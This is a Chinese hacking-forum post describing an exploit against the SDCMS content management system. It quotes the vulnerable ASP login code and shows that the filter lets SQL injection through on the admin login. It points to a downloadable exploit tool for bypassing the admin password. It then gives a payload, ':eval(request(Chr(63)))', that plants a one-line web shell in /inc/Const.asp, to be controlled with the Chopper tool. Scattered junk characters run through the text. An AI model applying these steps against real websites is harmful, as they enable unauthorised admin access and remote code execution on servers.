SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
9 @; }$ A, f9 Z$ o8 A, e/ D漏洞文件：后台目录/index.asp

Sub Check
    Dim username,password,code,getcode,Rs
; U# P$ F/ |4 q) t: J6 Q    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
3 [' h" l$ |0 g    code=Trim(Request.Form("yzm"))
    getcode=Session("SDCMSCode")
$ Z( V7 z) n3 n    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
7 H; h# u/ O( I+ c    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
' f; e1 h8 |4 `7 C1 X- z        Echo "用户名或密码不能为空"ied
    Else
, X/ n; W' t2 E7 ?        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
0 G: J( _' ?: P) ^            AddLog username,GetIp,"登录失败",1
4 Q8 @, m; N9 N, @            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
+ r( N' B' U8 z! Y        Else
1 |1 k, F: R% n( F            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
4 M9 @; w$ E; k& @, P5 r            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
            Add_Cookies "sdcms_alllever",Rs(4)
4 o5 m1 ^9 p0 q4 s2 [# d4 e            Add_Cookies "sdcms_infolever",Rs(5)
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
            AddLog username,GetIp,"登录成功",1
+ d# I4 k6 w/ ?/ b9 q9 E            '自动删除30天前的Log记录
            IF Sdcms_DataType Then
! ~& g1 {; Y( s2 d- R- i                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
6 S  q7 q1 X" T  r# l            Else
# t0 p# F0 A7 W7 D% f                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
            End IF
) t0 ~+ x2 E3 b, X1 F+ ?$ N& @5 m            Go("sdcms_index.asp")
        End IF
# K& n# [% P- x, U        Rs.Close
        Set Rs=Nothing
% L" X( V) D2 n/ U0 M, G    End IF
End Sub
: Z8 l) ?  B2 i- q' _6 s
% I0 w/ ^! E/ s2 L+ c  ?7 t' U( l8 [’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

Function FilterText(ByVal t0,ByVal t1)
" K' m" `! q6 w) J7 l  ]  D& h    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
* G  L% U2 f/ x9 d1 v    t0=Trim(t0)
    Select Case t1
0 }2 m" `& s% D+ _( H        Case "1"
+ [! W1 u2 ~$ s" y  p/ m            t0=Replace(t0,Chr(32),"")
            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
        Case "2"
            t0=Replace(t0,Chr(8),"")'回格
( L0 Y. U! C3 X# T% {            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
( x2 A- u7 `& u5 X! K; |& j9 L2 B( M            t0=Replace(t0,Chr(10),"")'换行
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
; L& A# m+ b2 ?/ _1 C6 b6 _% O            t0=Replace(t0,Chr(12),"")'换页
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
8 N4 M; n3 d% e; x+ m            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
- x6 z4 A) L0 W6 E2 G- f4 f            t0=Replace(t0,Chr(37),"")'%
            t0=Replace(t0,Chr(38),"")'&
            t0=Replace(t0,Chr(39),"")''
0 r6 e3 M8 [) R/ Y9 }            t0=Replace(t0,Chr(40),"")'(
, T+ g0 p; c5 n; [. J            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
: _( J' [& x$ h% S            t0=Replace(t0,Chr(43),"")'+
7 O/ t3 |, N/ Z$ ^( s6 ^            t0=Replace(t0,Chr(44),"")',
9 z& b9 q6 T) G            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
$ m2 y$ u6 @  x- {0 Y            t0=Replace(t0,Chr(47),"")'/
1 P0 U' r6 u' M1 v            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
' i+ [0 V/ q8 ], m! k3 F1 v            t0=Replace(t0,Chr(63),"")'?
' g) i$ t1 y: u6 |            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
9 o8 F, I/ M, B4 S+ V            t0=Replace(t0,Chr(94),"")'^
            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
            t0=Replace(t0,Chr(123),"")'{
4 i8 D: [9 H; N( N( J, C            t0=Replace(t0,Chr(124),"")'|
            t0=Replace(t0,Chr(125),"")'}
; G  B) n2 T) M$ a5 u            t0=Replace(t0,Chr(126),"")'~
  M( `$ q- a/ V3 A7 Z3 R1 J    Case Else
, `2 i& \) Z5 b* U' L) Y( |2 P! E        t0=Replace(t0, "&", "&")
/ ~- Z( z& m" Y& y4 C/ y+ i' b) ^* g5 i        t0=Replace(t0, "'", "'")
        t0=Replace(t0, """", """)
8 }4 H7 ^, ]' P. k9 f$ v        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
    IF Instr(Lcase(t0),"expression")>0 Then
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
, D* c* \. \7 o    End If
    FilterText=t0
8 z. y* o4 H' e6 {, X2 |) ]End Function
+ L& X' l* j' P9 O. r  c8 D. H
看到没。直接参数是1 只过滤
3 a( H6 B. C# p                        t0=Replace(t0,Chr(32)," ")
                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
")
3 J( o. y3 u3 v: L; z$ S                        t0=Replace(t0,Chr(10),"
")
4 \0 x% P0 e8 Z1 r0 \漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
( f( a% H) B8 C' X2 GEXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP

* Z" j6 W" {7 ~) }0 Y) M测试:
$ z9 D9 O7 x6 p$ m
% e0 B% w/ Q* b* D* H- Q; j  l
/ _1 O, f0 @  A% x' a4 I" @现在输入工具上验证码,然后点OK


7 V- w" o% c# V6 N看到我们直接进入后台管理界面了,呵呵!


! k7 Z3 X3 P6 ]  w8 L, B6 a0 O
这样直接进入后台了。。。。

2 K1 k, [+ Y% G; \- M- \
+ F$ @, b8 Y9 [& W$ l
6 n* u7 J: `$ WSDCMS提权:

方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?

" B) T, e8 P) ~1 E; U

OK,现在用菜刀连接下!

2 K* H* l3 X" G/ t: i1 l& Z4 `& o
* f! e- F# L; b- X3 }6 l
1 n8 K( c' I! X" N